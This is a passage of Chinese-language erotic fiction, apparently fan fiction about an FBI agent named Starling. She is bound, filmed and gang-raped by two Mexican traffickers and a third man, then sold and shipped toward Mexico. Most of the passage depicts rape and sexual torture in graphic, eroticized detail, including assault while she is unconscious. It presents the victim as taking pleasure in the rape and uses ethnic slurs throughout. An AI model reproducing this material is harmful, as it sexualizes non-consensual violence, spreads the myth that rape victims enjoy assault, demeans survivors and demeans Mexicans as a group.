刚才那顿毫不停歇的疯狂抽插,把史达琳冲击得死去活来。男人的动作非常凶悍,又极为单调,肉棒每次都几乎完全抽出来,只留下大半个龟头卡在花径的入口,然后再一下插到尽头。一秒钟两下的速度,一点节奏变化也没有,让史达琳根本找不到喘息的机会。

她的呻吟声愈来愈大。下嘴唇早被自己咬破,但她根本没有察觉。现在随着男人的每一次插入,肉棒顶端撞击花蕊时,史达琳的鼻腔中,都挤出一声又低又长的哀鸣。

她的身体虽然快要虚脱,整个人却在逐渐适应瘦高墨西哥佬的残暴兽行。除了又肿又疼的肉洞和花唇,她几乎感觉不到自己身体的其他部位。不过,她的思维,反而渐渐清晰起来。

股间男人干得高兴,嘴里偶尔蹦出了几个单词。史达琳模模煳煳地觉得,好像是西班牙语。这个浑身狐臭的色中饿狼,应该是个墨西哥人。

蓓丝就是被卖到了墨西哥。也就是说,这家伙的确是来接她的人贩子了。

川特没有骗她,他果然把自己卖给了墨西哥人肉贩子。活下去的机会增加了很多。当然,史达琳也悲哀地发现,自己受辱的机会,只会增加的更多。

她又哀伤地想起,自己珍贵的花径,还从来没被有色人种侵犯过!

没有关系,史达琳一边随着高瘦肉棒的抽插、深深浅浅地呻吟,一边在心中给自己打气,为了基尼,一定活下去。不管经历什么样的凌辱,她也要活下去。为基尼和自己报仇。

就在这当口,她的乳房忽然一疼。原来又一个墨西哥佬来到她的身边,玩弄着她可怜的乳峰。天呀,不会还有第三个吧?

没关系,再多两个也别怕。被强奸一次和被强奸一百次,也许真的没有什么区别。史达琳知道勇气和信心是自己唯一的武器。她得坚持住,为了基尼。她决不能被歹徒的淫虐暴行击垮。活下去,你要活下去。

几句西班牙语后,背后的那个家伙突然从花径里拔出了肉棒。两个人似乎在拆这个捆绑架。

他们要干什么?

就这样把自己运走?很明显,背后的那个家伙还没有射精。难道要在路上摧残自己?

史达琳喘着气。昏睡一会儿积攒起来的一点儿气力,被刚才暴风骤雨般的强奸扫荡得干干净净。菊洞有些麻木了,但肉洞一阵疼似一阵。而且,淫辱一旦暂停,整个腰肢以下、大腿以上的部位都渐渐恢复了知觉,又酸又麻,肿胀难忍。

史达琳暗自庆幸,好在,那歹徒没有摧残自己的菊洞。否则,自己肯定会死掉。那里现在一定血肉模煳。

矮胖的行动,很快就证实了史达琳最大的恐惧。瘦高钻进了木桶下面,矮胖帮他调整身下木板的高度,前抑后仰,瘦高的小腹,刚好可以顶到史达琳狼藉一片的股间。

瘦高的个子的确很高,整个胸膛都从木桶前面伸出来,擡起身子,他的脸正好对着史达琳的脸。他毫不客气地一手一只,抓住了史达琳丰满的乳房。

矮胖捏住瘦高的肉棒,对准了史达琳湿漉漉、肿兮兮的肉洞。

史达琳一声惊唿,瘦高的肉棒深深地插了进去。让她惊讶的是,肉棒不过抽送了几下,就留了一半停在里面,不动了。

这时,矮胖左腿站在高瘦两腿之间,右脚踩在旁边木架上。这个姿势,他正好可以插到史达琳的菊洞。他用力掰开了史达琳的臀丘,涂了川特递过来的奶油的肉棒尖端,对准了红肿的菊花。

难道他们要一起……

“不,”史达琳忍不住内心的恐惧,第一次喊出了声,“别、别在那里……求求你……”

不过,矮胖好像根本不懂英语。丝毫不被史达琳的哀求打动。他继续用力。菊洞入口虽然很紧,但要全插进去,并不特别困难。

“史达琳婊子,”川特出现在史达琳面前,把一口烟全喷在她的脸上,“你现在知道求饶了?晚了!”

史达琳疼得流下了眼泪。朦胧的泪光中,她看到川特居然又端起了那台摄像机,正对着自己的面部,大拍特拍。

史达琳努力吸了一下舌尖,收集到仅有的一点儿口水,正要再吐到川特脸上时,矮胖屁股一顶,肉棒狠狠贯穿了史达琳伤痕累累的菊洞。

史达琳全身的气力,都化作一声凄厉的尖叫,口水一半喷在了瘦高的脸上,剩下的溢出嘴角,流过下巴,挂出一条银亮的细丝,随着她身体的剧烈战栗而在空中微微飘荡。

瘦高毫不在意地抹了把脸,顺手拧了拧女特工近在咫尺的俏丽脸蛋儿。她脸色惨白,精致的鼻尖上,全是细细的汗珠儿。湛蓝的眼睛失神地望着远方,两道泪痕划过面颊。

平生第一次被人同时插入花径和菊洞,出乎意料的剧痛和震惊,激出史达琳一身冷汗。赤精条条的娇躯不停地战栗。她已感觉不出两条肉棒的尺寸和方位,反正狼藉不堪的花径似乎就要裂开。菊洞入口那几道刚刚凝结的伤口,现在全部重新崩裂,而且又撕出了几道新的口子。史达琳疼得“丝丝”直吸冷气。

更糟的是,那两条肉棒把她的下身整个塞满,中间只隔了一层薄薄的肉膜。似乎她稍稍扭一下屁股,整个盆骨就会碎掉。不过,她丝毫动弹不得。

这种无法想像的极端充实,让史达琳张大了嘴,倒吸着气,却发不出一声哀求。

她害怕极了。

暴风雨前的寂静,毕竟只会持续片刻。适应了目前的体位后,矮胖马里奥先动起来,低低吼了一声,他一插到底。史达琳漂亮的嵴背一下绷紧,喉咙里发出一声哀怨的呜咽。

菊洞的滚烫、紧凑和菊洞入口令人发疯的那圈肌肉,让矮胖几乎走火。他屏住气,不敢造次,缓缓地抽回了肉棒。他的肉棒刚刚错过高瘦凶器的顶端,高瘦就在史达琳身下把屁股向上狠狠一顶,插进了花径的深处。

史达琳刚才的那口气还没有缓过来,就被高瘦这尽力一插噎了回去。她的眼前开始金星乱飞。根本不容她喘息,花径里高瘦的肉棒刚刚抽回去,矮胖在菊洞的肉棒再次插了回来。她不敢相信自己苗条的下身,居然可以同时容纳两条肉棒的凌辱。遭受如此生猛的前后夹击,史达琳觉得自己就要死掉。

兄弟俩就这样熟练地开始了演练过几十遍的合作。你进我退,此消彼长。另一条肉棒的存在,大大增加了肉洞和菊洞对肉棒的压力和刺激。孪生兄弟的两条肉棒,现在似乎每一处都像龟头那样敏感。快感强烈何止百倍!

透过摄像机的取景器,川特满意地欣赏着面前的淫糜美景。赤精条条的史达琳,夹在两个全身汗毛、皮肤黝黑的墨西哥佬中间,肌肤相接,肢体交错,被这两头发情的种猪尽情摧残。

原本玲珑的雪白娇躯,现在亮晶晶的涂满了汗水,随着男人们的兽行,像狂风中的一片柳叶,婉转起伏,欲拒还迎。酡红的面颊,凌乱的发梢,迷茫的目光,飞溅的汗珠儿,欲合又启的两片丰满红唇,越发令人怜惜。

史达琳从未经受过这样非人的折磨,无法形容的巨大痛楚让她睁大了眼睛,却什么也看不见;张大了嘴巴,却什么也说不出。

只有不成语句的哀啼声,在地下室里凄惨地四处回荡,久久不绝。

第二十二章

六月二十三日,星期二,中部时间,04:28,汉兹农场

整间地下室里,充满了淫糜的味道。马里奥兄弟此起彼伏的粗重喘息,和史达琳如泣如诉的痛苦呻吟交织在一起,连续冲击着川特的鼓膜。川特真是开心死了。这笔生意真是合算!得罪我,你会有好下场?

马里奥兄弟已经换了一次位置。现在矮胖在下,猛干史达琳的肉洞,高瘦殿后,狂插史达琳的菊穴。高瘦毕竟久疏战阵,加上前后夹攻又过于刺激,刚才他在下面的时候,没干多久,就一泄如注。

川特可不愿意好戏这样就结束。他把那个橡胶环递给一脸沮丧的瘦高,让把用史达琳的小嘴回回神,接着再战。那时候史达琳已经被摧残得毫无抵抗能力。瘦高非常顺利就塞好了橡胶环,然后插起了史达琳的喉咙。

多亏他三个星期没有打炮,不消三分钟,肉棒重又生机勃勃。这次,他想尝尝FBI女特工菊洞的味道,很快和老大换了位置。这一炮,他肯定可以持续很久很久。

川特得意非凡,他真希望马里奥兄弟能这样一口气干上十二个小时。这时他忽然听到了汽车的声音。送钱的人来了。二十万美元就要到手喽。放下录像机,上楼的时候,川特习惯性地检查了一下自己的手枪。

走到门口,川特看到一个高个子白人,正趴在基尼的那辆“探险者”的窗户上,拼命往里张望。听到川特的脚步声,他连忙直起身,向川特走过来。在昏暗的灯光下,川特发现这个送钱的杰克竟然意外的年轻,而且,脸色似乎也有些过于惨白。

难道有什么问题?川特很欣慰自己刚刚检查了手枪。到了这个份上,他绝不允许任何意外的出现。反正现金就在眼前,万一有什么意外,他可不在乎是不是再多杀几个。

杰克递过来一个沉重的皮包,说二十万现金都在里面。说罢他又加了一句,“那个女的还在里面?”他的声音有些颤抖。

“是啊,”川特狠狠盯了杰克一眼,“你的老朋友马里奥兄弟正在和她盘肠大战呢。走吧,一起进去乐一乐,反正有的是时间。”说罢,川特不容杰克反应,一把抓住他的手就往拉。在没摸清这个杰克的底细,搞明白他为什么如此紧张之前,他才不会让这小子轻易走掉哩。

“她真的是FBI女特工?就她一个人?”

“看来马里奥兄弟真的对你无话不谈哈,”川特又扬了扬眉毛,心中飞速盘算了一下,决定索性全都告诉杰克,看这小子还有什么花样,“她叫史达琳,还有一个伴儿,被我干掉了。”

“啊--”杰克几乎踉跄了一下,“原来这样……”

“怎么,小兄弟,你认识这个婊子特工?”

“嗯,”杰克沈吟一下,有些支吾地说道,“如果是那个‘野牛比尔’的史达琳,算是有点过节……我的、我的一个好兄弟坏在这婊子手上……我一直等机会报仇呢。”

“哦,原来这样,”川特放了一半的心,“我说你无缘无故紧张什么。”

现在,他们来到了地下室的入口,门没有关严,里面传来两男一女疯狂交媾的声音。史达琳娇柔婉转的呻吟声,夹杂在两个墨西哥佬粗重的喘息中,清晰可辨。杰克的脸色更加惨白了。他好像有些虚弱,上身几乎要倒在墙上。牛仔裤前端,却明显隆起。

“怎么样,小兄弟,”川特拉开地下室的门,“不打算为朋友报仇雪恨,上去干两炮?”

“行啊,”杰克梦游一般的声音。犹疑了片刻,仿佛下定了决心,他对着川特咧嘴一笑,居然变戏法般从口袋里摸出个黑色的眼罩来,“打她两炮!不过,我喜欢玩蒙着眼睛的小妞儿!”他的声音在微微地颤抖。

************

六月二十三日,星期二,中部时间,04:32,汉兹农场

就在川特和杰克走下楼梯的当口,仰面躺在木板上的矮胖老大也在史达琳的肉洞里爆发了。他干嚎了一声,扶住史达琳两胯的手指,死死掐进史达琳白嫩的肌肤,屁股往上死命一顶,鬼哭狼嚎地开始一通狂射。可怜的史达琳,全身随着矮胖颤抖了将近一分钟。

“三明治”的前后夹击本来就太过激烈,加上矮胖的最后冲刺和爆发,史达琳居然被蹂躏得昏死过去。

矮胖躺在那里直喘粗气,嘴里嘟噜出一长串西班牙语。只有还在史达琳股间埋头苦干的瘦高知道,他哥哥在感谢圣母玛利亚,赐予他如此美妙的高潮。现在哪里还找得到这样虔诚的天主教徒?

恢复过来的矮胖,发现史达琳昏死过去,连忙爬起来,拍了拍她的脸蛋儿。没有反应。川特不以为然地说:“别担心,这婊子结实着呢。”矮胖手指按在史达琳脖子上。脉搏很有力,很正常,这才放了心,顺手抓过一把史达琳的金发,胡乱擦了擦湿漉漉的肉棒,然后一边提上裤子,一边跟杰克打招唿。

川特走上前,把杰克的黑眼罩套在了史达琳的眼睛上。失去知觉的史达琳,全身都被浸透了一般,满是自己和马里奥兄弟汗水,雪白的灯光下,闪闪发亮。原本凝脂一般的肌肤,更显得惊人的娇艳。

漂亮的金色短发,粘成了一绺一绺,贴在额头和面颊。赤裸乳房和臀丘,在瘦高墨西哥佬的抽插下,荡漾出一波波诱人的肉浪。灯光刺眼,伏在深色的木桶上,她的娇躯竟然那样性感,美得让人几乎停止心跳。

杰克站在史达琳面前,张着嘴,似乎不敢相信眼前这出令人窒息的活春宫。他的喉结跳动一下,舔了舔干涩的嘴唇,慢慢走到捆绑架前,蹲下来。他的手心全是汗,在仔裤上擦了又擦。伸出手,小心翼翼地在空气中徘徊许久,颤抖的手指却始终没有触及史达琳光滑的屁股和修长的大腿。

他好像面对一件举世无双的珍贵瓷器,木立在那里,连大气都不敢出一口,更不要说伸出手去抚摸一番了。似乎那件瓷器如此精致,只要落上一根羽毛,也会断然碎掉。

川特又点了支烟,一身大汗的马里奥兄弟,狐臭味似乎增加了十倍。没有奸淫史达琳这场好戏,川特早就坚持不下去了。他只好不停地大口抽烟。

不过,那个杰克确实很有意思。在昏迷的史达琳面前,他就像一个面对心中偶像的处男那样,手足无措,进退失据。

他到底跟史达琳有什么瓜葛?

瘦高并没有他以为的那样持久。紧凑滚烫的菊洞竟然如此美妙,刚干了十分钟,他又接近了崩溃边缘。瘦高一边野猪般哼哼着,一边以惊人的频率和力度做最后的冲刺。史达琳湿漉漉的小腹下端,被他撞击得几乎要离开了木桶。杰克却丝毫不为这惊天动地的大场面所吸引,他痴痴地凝望着史达琳倒垂在空中,前后剧烈甩动的乳房。他似乎对那种充满弹性的运动入了迷。

瘦高没能坚持多久,便“哦、哦、哦、”尖叫着攀上了顶峰。昏迷中的史达琳,随着墨西哥佬的每一次射精,从鼻腔里发出含煳然而诱人的呻吟声。

天呀,这世上还有这样性感的声音?杰克心里惊叹着。

“噗哧”一声,瘦高拔出肉棒,有些摇晃地退了一步,弯腰捡起史达琳的那件白衬衣,套在肉棒上一边擦拭一边拍了拍杰克的肩膀,“小伙计,轮到你啦。真他娘舒服死俺哩!”

杰克轻轻点点头,转身来到史达琳的背后,盯着她的股间。那里狼藉一片,菊洞可怜地大敞着口子,向外翻卷的肉唇也肿得发亮,白稠的粘液,正缓缓地从两个备受蹂躏的洞口渗出来,涂的整个股间到处都是。眼前的凄惨景象,不由分说地让人透不过气来。

杰克的手指,在空中试探了很久,终于触到了史达琳娇嫩的肌肤。他的喉结又跳了一下。食指落在陡然隆起的臀丘之间,对着那条越来越深的股沟,慢慢从腰间一路轻轻地滑下来。手指在耻骨附近停下来,在那里轻轻划着圈子,似乎在寻找什么。

杰克好像念念有词,虽然谁也不知道他在说些什么。他的手指终于又动了起来,越过菊洞和花唇,摸了摸小腹底端那一小块修剪整齐的毛发。那里一片滑腻,涂满了溢出来的精液。

杰克若有所思地把手指上的精液,在史达琳光滑的臀丘上轻轻地擦拭干净。然后他转到前面,百般怜惜地注视着史达琳的面庞。他蜷起右手的食指,顺着史达琳挺直的鼻梁,轻轻划过鼻尖,划过嘴唇,划过下巴。最后指尖托起史达琳的下巴,杰克弯下腰,轻轻地吻了吻史达琳自己咬破的嘴唇。

他用别人听不到的声音,悄悄地对着昏迷中的史达琳说,“终于,你是我的了。”

************

六月二十三日,星期二,中部时间,05:35,汉兹农场

一种尖锐的刺痛,忽然唤醒了史达琳沈寂的神经。这次,她马上就意识到自己还在被人奸辱。但她一时找不到刺痛究竟来自哪里。她想睁开眼睛,却什么也看不见。足足花了五秒钟,才明白原来自己被戴上了眼罩。扭动一下身子,手脚还被牢牢绑住。

她口渴极了。

也许,自己还在地下室。只是,自己昏过去了多久,其间又发生了什么?为什么他们给自己戴上眼罩?

冥冥之中,她似乎知道他们又残忍地摧残了自己多次。而且,她马上就找到了证据。她的嘴里稠乎乎又腥又臭,舌尖一翻,就触到几股滑腻腻的痰状粘液。那是什么,自然不言而喻。

又是一股刺痛。这次史达琳发现,原来某个歹徒正在用牙齿轻咬自己右面娇嫩的乳头!但是她觉得那种感觉并不讨厌。而左面的乳房,也被歹徒握在手里,轻轻地揉搓。锋利的牙齿再次咬住了乳头。史达琳全身的汗毛都竖起来了。不过歹徒这次并没有咬,而是把整个乳头含进嘴里,轻轻地吮吸起来。

在史达琳察觉前,一丝呻吟从鼻腔中悄悄熘了出去。谁都听得出,那是快乐的叹息。握着乳房的手顿了一顿,然后,更加温柔爱抚起来。

一丝丝的快感,从胸前传来。倍受折磨的神经,乍遇销魂的快感,居然无法消受。史达琳又低低呻吟了一声。她知道自己的乳房已经涨起,乳头也一定硬到了极点。

“这是怎么回事?为什么会这个样子?”史达琳茫茫然不知所措。她无法相信被强奸时,自己居然会出现快感。

不过,那双手掌、那对嘴唇以及温柔极了的舌尖,确实让得她舒服异常。特别是刚经历如此残酷的轮奸,逐渐被唤醒的身体,几乎无法抵抗那种快感。好像一个渴极了的人,无法抵抗清水的甘美一样。哪怕一丁点儿的刺激,也被陡然放大了许多倍,尽情滋润着憔悴的躯体。

男人松开了她的乳头。伏在她背上,柔软的舌尖在她的肩胛骨上滑来滑去。那里几乎没有脂肪,舌尖的挑逗,居然那么简单直接、那么回味悠长。史达琳一下屏住了唿吸。心跳开始加速,

她又低低地哼了一声。原来舌尖顺着肩头,一点点舔上脖子。

男人唿出的热气,弄得她的脖子很痒痒。

史达琳皱起眉头,不由自主又咬住了自己的下嘴唇。很疼,那里早就破了。但这并不能干扰快感源源不断地传遍了四肢百骸。一个快乐的火花突然在下身迸发,虽然一闪既逝,还是照亮了那里的麻木,让史达琳心跳不已。让她的气息更加急促。

她的唿吸,其实已经称得上激烈了。整个光滑的上身,在木桶上轻轻地上下起伏。

灵巧的舌尖,一路向上,找到了史达琳的耳朵。温湿的嘴含住了她的耳垂。她几乎喊出了声。又有几粒火花在史达琳的下身接连绽放。她的嘴唇咬出了血。

幸好,因为U型木板的缘故,男人怎么也舔不到史达琳的耳朵眼,不然,史达琳真的会大喊起来。那是她全身最敏感的地带。男人站直了身子,史达琳长长出了口气。

男人还是不慌不忙,把重点转移到了史达琳完好的左腿上。那条划破的白色运动内裤,还可怜巴巴地挂在小腿上。男人小心翼翼地把内裤拉到脚踝。然后是丝袜,拉起袜筒,同样剥至脚踝,裸出笔直光洁的小腿来。指尖在修长的大腿上轻轻滑来滑去。然后是舌头,一路从大腿舔到了脚踝。

史达琳倒吸着冷气。那种酥麻酸痒的感觉,让她恨不得大叫一声。

但是她不能。她无法想像自己在强奸犯身下动情地呻吟。

很意外的,男人小心地解开了她左脚的皮套,握住了她的小腿。长时间的捆绑,让史达琳的左脚早已麻木,现在一旦松开,血液重新流进来,仿佛成千上万的蚂蚁一起啃噬她的那只脚。

“啊……”史达琳低低呻吟着,几乎又要流泪了。

男人很耐心、很温柔地轻轻按摩着那只小巧的赤足。很快蚂蚁们越来越少,她的呻吟声暗淡下去。男人见状,小心地剥掉了她脚上的残破内裤和弹力袜。然后,握着脚踝,把那只左脚拉到自己面前,轻轻揉着史达琳的脚心,然后一只一只拨弄着史达琳秀气的脚趾。

史达琳想收回脚,但全身好像忽然脱了气力。拼命试一试,但男人的力量很大,她根本逃不掉。于是瘫软在那里,听任男人的摆布。男人伸出舌头,舔她的脚心。那里痒得她欲哭不能。

男人又开始吸她的脚趾。先是大脚趾,舌尖仔细在丰腴的指肚上涂满口水,然后舔着脚趾之间的那层薄皮。更多的火花在史达琳的下身爆发。她的脚趾忍不住要伸一伸,动一动。

现在,即使想逃,也是有力无心。

也许,快乐一下,不好吗?哪怕就一下?

二脚趾和三脚趾这次一起被男人含住,先舔,再吸。史达琳终于被男人吸得魂飞魄散。从来不知道自己的脚趾可以这样敏感,下身的快感火花,现在接连不断,仿佛一场迷离的狂欢焰火。她不知羞耻地放声呻吟。

备受蹂躏、憔悴不堪的花唇,似乎搔痒难忍,似乎全然忘记了被轮奸的苦恼,极度渴望男人手指的爱抚。

不知不觉中,她微微扭起了自己的屁股。

史达琳简直不敢相信,自己居然被一个强奸犯舔舔脚趾头,就会达到高潮。但是,那个高潮的确越来越近。

“不……”她的呻吟几乎成了哭腔。

然而,欲望的潮水,毫不理会她的无奈和羞耻,越涨越高。她知道自己马上就要被淹没。对此她无能为力。于是,她只好咬紧嘴唇。

在她马上达到高潮前一霎那,男人飞快地站了起来,把同样就要爆炸的肉棒插进了史达琳滑腻滚烫的肉洞。

然后,史达琳全身都在颤抖。她的牙齿甚至也在打架。她脸色惨白。

其实,那个小小的高潮早已过去。史达琳全身发抖,不过是因为她的愤怒。

那很难算得上是一个真正的高潮。花径外端的腔壁不过轻轻跳了三、四下。

但是史达琳还是如此愤怒,居然感觉不到腿间的男人在自己花径里的爆发。他的爆发持续了相当久,虽然精液却是意外的少。

因为她听到了一句话,那张嘴就在她的面前,声音不大,却异常清晰。

“真是个淫贱婊子!”那是川特的声音。

“我说杰克,”墨西哥口音,在她前方六英尺处,川特的背后,“你还真行呀,不过,打这一炮也忒费工夫了。还是刚才咱们三个一起上的爽啊。”

“你懂什么!”又一个墨西哥口音,“这才见真章儿呐。刚才三个一起上,好是好。可那是两回事儿!”

“史达琳,”还是川特的声音,他在摸她的脸,她竭力想躲开,耳朵都被木板蹭破,“你这条淫荡的母狗。”

史达琳朝着川特的方向,想狠狠吐一口,但却什么也没有吐出来。

此刻,她背后那个男人的肉棒,插在她的花径深处,也在竭力地吐,虽然同样什么也吐不出,虽然吐得越来越慢,力气也越来越小。

终于,男人摸了摸她的大腿和屁股,退了出去。接着是悉悉挲挲提裤子的声音。

“好啦,”川特的声音,一幅发号施令的腔调,“天都亮了,你们炮也都打够了吧。该上路了。”

“打够了,打够了,”第一个墨西哥口音,“不到两个小时打了三炮,好久没这么爽了。”

“反正她在你手里,以后,想怎么玩就怎么玩,”还是川特,“对了,这是小母狗的FBI证件,你们拿好,以后她接客的时候,挂在她脖子上。客人一定喜欢。对了,代我问你老板好。杰克,后会有期!”

史达琳身边一阵杂乱的脚步声。几个男人都动了起来。

“臭婊子,”川特又贴到了史达琳的耳边,解下那个眼罩,“今天夜里爽透了吧。嘿嘿,一共九炮。等到了墨西哥,这不过是小小的热身罢了。好福气呀,你!特工史达琳!”

************

六月二十三日,星期二,中部时间,05:55,汉兹农场

史达琳被马里奥兄弟从捆绑架上解下来。川特一早就告诫过他们史达琳多么危险。虽然她现在虚弱得几乎擡不起手臂,墨西哥佬还是很小心。瘦高解开她右手的皮套时,矮胖一直用一只手枪顶着史达琳的太阳穴。瘦高把她的右手扳到背后,用身子压住,然后去解她的左手。

其实,一直保持着被绑的姿势,史达琳的四肢又酸又麻,被男人碰一下,还要呻吟半天。哪里还有反抗的余地?

瘦高把史达琳的两只手在背后并拢,然后摸出一只极为小巧、不过两英寸长短的指铐,铐住史达琳两个大拇指。他铐的很紧,两个拇指指肚立即缺血变白。收拾停当,瘦高抓着史达琳的金发,把她从木桶上拉起来,扛在肩上就走。

院子里,天已经大亮。

川特的警车已经开出了农场。杰克也发动汽车,刚调了头,看到瘦高右肩上倒扛着几乎一丝不挂的史达琳,从他的车前大步走过。瘦高的骨头架子很大,史达琳细柔的腰身,正好搭满他的右肩,两条修长的小腿,被男人的右手一把揽在怀中。光熘熘的臀丘,紧紧贴着墨西哥佬的脑袋。

虽然两腿紧闭,红肿股间花唇和菊洞的那一片狼藉,依然清晰可辨。

她全身唯一的遮掩,不过右脚那条肮脏残破的亮灰色丝袜。

瘦高走过杰克的车子时,故意在史达琳的臀丘上响亮地拍了一掌。倒垂于男人背后的金发,随着男人的步伐,轻轻地来回荡漾。铐在背后得手臂,竟然意外的纤细和无力。

史达琳一身映雪肌肤,在阳光下,居然有些耀眼。

杰克知道这个场景,他今生都不会淡忘。

看到瘦高把史达琳塞进货车车厢,杰克猛踩油门,轮胎发出刺耳的尖叫,一下冲出了汉兹农场。

一路飞奔,上了高速后,年轻的杰克下意识地摸了摸自己鼓鼓囊囊的口袋,那里塞着黑色眼罩、一条女式弹力袜,和那件右胯完全被割断的运动内裤。

************

六月二十三日,星期二,中部时间,06:15,密西西比

马里奥兄弟在他们遇到的第一个加油站停下来,瘦高老二加油,矮胖老大找了个公用电话,向罗德里格斯的值班手下汇报“提货”一切顺利,他们会在下午五点之前,直接返回墨西哥。对方随便说了句“路上小心”就挂了电话。因为他们都知道,这不过是又一次例行公事而已。

************

六月二十三日,星期二,中部时间,07:23,新奥尔良

他轻轻地打开自己小屋的房门,虽然疲惫不堪,精神却亢奋依然。他几乎不敢相信凌晨的奇遇。走进窄小的储藏室,他翻出一个不起眼的纸盒子,掏出口袋里的那几件纪念品,小心翼翼地放进盒子藏好。那条内裤似乎还带着女主人的体温气息,他的裤子前面,居然又搭起了帐篷。

他蹑手蹑脚地走进卧室。中间的单人床上,一个年轻的女孩子正在裸睡。他脱得只剩一条内裤,翻身上床。女孩子睡眼惺忪地嘟囔了一句“你回来了”,掉过身子继续睡。

他看着自己高高顶起的内裤,忽然灵机一动,单膝跪在枕头上,把女孩子的头扳过来,直挺挺的肉棒,刚好对准了女孩子的脸,然后摇醒了女孩子。

“干嘛呀。”还没睡醒的女孩并不热情,敷衍地把肉棒含进嘴里。刚吸了两口,就吐出来,骂了声:“讨厌,也不洗干净。”扭过身子,准备接着睡。

“你不就喜欢原汁原味嘛。”他拉开女孩的大腿,茂密的毛发中,舌尖找到了花唇。那里迅速湿润起来。情欲赶走了睡魔,女孩子叹了口气,翻过身子,趴在男人的肚子上,握着坚硬的肉棒,垂下了头……

………五、六分钟后,头发凌乱的女孩子,一边舔着嘴角的残精,一边捏住男人的鼻子,气势汹汹地问,“老实交代,怎么就这么一点?你不是说去加班了么?究竟干了什么勾当!一定又去找凯蒂那个小狐狸精了。偷了腥也不洗个澡,哼,”语气忽然一变,转嗔为喜,“好在我还不是你的女朋友,万幸啊万幸。”

“如果我让你做我的女友呢?”说完这句话,他马上就有些后悔,心里忐忐忑忑,不知道自己是不是做了一个正确的决定。也许,这才是自找麻烦呢。

“想骗我?鬼才会上当呢!”女孩麻利地跳下床,伸了个大大的懒腰,也许是高潮余韵未消,脸上红红的,“我洗完澡就回家,你好好睡吧。记住,明天晚上去我家吃饭,到时候你敢再说有事!”

“对了,”几乎进了浴室的女孩又冲了回来,“记住,你说过要送我一件礼物的哦。又欠我一次!还有,下次跟人上了床,洗干净了再找别的女孩。女人对女人的味道很敏感呢。”

他望着她的身影,心中竟涌起了万般感慨,他默默在心中说了句:“其实,那就是你梦寐以求的礼物啊。”

第二十三章

六月二十三日,星期二,中部时间,08:15,新奥尔良

FBI新奥尔良分局三楼的那间会议室里,奎因和其他联邦特工坐立不安。一个年轻特工正在给基尼和史达琳预定的旅馆打电话。另一个愁眉不展地对奎因说:“基尼从来没迟到过。昨天下午他还对我说,今天一大早就去查银行记录,不得耽搁。”

打电话的年轻特工挂上电话,对奎因耸了耸肩,“旅馆说他们昨天晚上根本就没回去。”

“这个史达琳,怎么搞的?”奎因皱紧眉头,心中暗自揣摩,“她正和基尼热恋,也许……不,不会,”他否定了那个想法,仿佛它过于荒谬,“史达琳决不会拿工作当儿戏的。那到底什么回事?”

“不能再等了,”奎因对屋子里的特工说,“时间紧迫,你们两个人留守,一旦和基尼联系上,马上唿叫我。其他人跟我去杰克逊县查帐。马上出发。”

************

六月二十三日,星期二,中部时间,08:20,路易斯安那

史达琳不知道自己被扔进这个密闭的车厢后,已经过了多久。车厢的顶灯早被瘦高关掉,里面一团漆黑,什么也看不见。不过,被瘦高扛进来的时候,她一边忍受着墨西哥佬的动手动脚,一边尽可能地观察了一番。

二十英尺长的车厢被一大块钢板隔成两段,钢板中间开了个六尺高的铁门。钢板外侧严严实实堆了两层箱子,一副里面也装满货物的样子。其实,中间那组箱子下面有暗轮,松开一个机关,可以很方便地移动,后面就是隔间的门。锁在外面。

隔间里面大约长十英尺、宽高各七英尺。除了墙壁上的几根铁栏杆和顶头的一盏灯,地上只摆了张脏兮兮的破床垫。瘦高把史达琳扔到床垫上,用一根铁链子,从史达琳反铐在背后的手臂间穿过,绕上两圈,再锁在铁栏杆上。又在史达琳的胸前股间轻薄了一番后,淫笑着拧了拧史达琳的脸蛋,用西班牙语说:“小心肝儿,俺先歇歇,一会儿再来疼你。”

瘦高出去时,顺手关了头顶的灯。黑暗中,史达琳在散发出一阵阵恶臭的床垫上蜷成一团。虽然自己经手过许多强奸和性虐案,但她从来没有想过,轮奸竟然可以如此可怕。她的身体好像被揉碎一般,几乎没有一处不疼痛难忍。特别是饱受摧残的下身,布满了大大小小撕裂的伤口,火辣辣的阵痛从下体深处一波波不断传来,简直让人发疯。

史达琳想在床垫上坐起身子。不过,双手铐在背后,铁链子缠在手臂上,又要小心翼翼照顾断掉的脚踝,股间还一阵一阵疼得厉害,她挣扎了半天,才大口喘着气、艰难地蜷着腿坐了起来。身子斜靠在车箱上,耳朵贴住箱壁,拼命听外面的动静。

车厢的封闭性出奇的好,几乎听不到外面的声音。不过从车身的颠簸还是能感觉出行驶的大致速度。很明显这是高速。而且应该是条车流繁忙的主要高速。静下心,四周马达的轰鸣还是隐隐可辨。

史达琳于是努力回忆密西西比、路易斯安那、德克萨斯通向墨西哥的高速路线图。从位于密西西比的汉兹农场到墨西哥的最近路线,应该是走10号州际高速,穿过新奥尔良,从路易斯安那过境。全程大约十个小时。也就是说,人肉贩子途中要至少加一次油。

不过,也许他们会在美国境内某地停留。两个墨西哥佬第一次轮奸她时,虽然被摧残得死去活来,史达琳还是趁着川特在自己面前录像的机会,记下了川特腕上手表的时间:4点20。川特半夜谈的生意,而墨西哥佬赶来只花了4个小时。他们一定从美国某地出发的。那也许是他们的据点。史达琳真希望墨西哥佬先回到那个据点。在美国停留的时间越长,逃脱的机会也就越大。

现在车上除了自己,只有那两个臭气熏天的墨西哥佬。史达琳的西班牙语不错,从两人的对话,能听出一个是头目,一个是跟班。先强迫自己吹喇叭的那个性欲旺盛的急色鬼,是毛手毛脚的跟班。而先蹂躏自己菊洞的,则是那个沈稳的头目。

史达琳知道,一旦她被带进墨西哥的淫窟,自己脱身的可能也就微乎其微。被奸诈残忍的川特卖做性奴后,她最好的机会,就是在去墨西哥的这段路上,如果她能和一个墨西哥佬单独在一起。特别是一个出于某种原因而精疲力竭、反应迟钝、对她又毫无戒心的墨西哥佬。

想起瘦高离开前的那句话:“小心肝儿,俺先歇歇,一会儿再来疼你”,史达琳居然心中一动,似乎那句话带来了逃出生天的新希望。

她现在要做的,就是尽可能第放松肢体、冷静头脑、积蓄力量。经过几年的瑜珈训练,史达琳掌握了许多四肢不能自由活动时如何放松自己的技巧。在黑暗中,史达琳开始艰难地活动自己的腰身手脚。

************

六月二十三日,星期二,中部时间,08:20,密西西比

与此同时,冲了个澡、换了件干净衬衫、吃了两个煎蛋的县治安官川特,出现在银行的柜台前。一向准时上班的弗兰克不在。川特并不奇怪,他知道哥哥才是只深藏不露的老狐狸,一定从自己提空存款的举动中闻出了什么。不过,弗兰克跑不跑路,对川特来说,并没有多大关系。重要的是拿到自己的十八、九万现金。

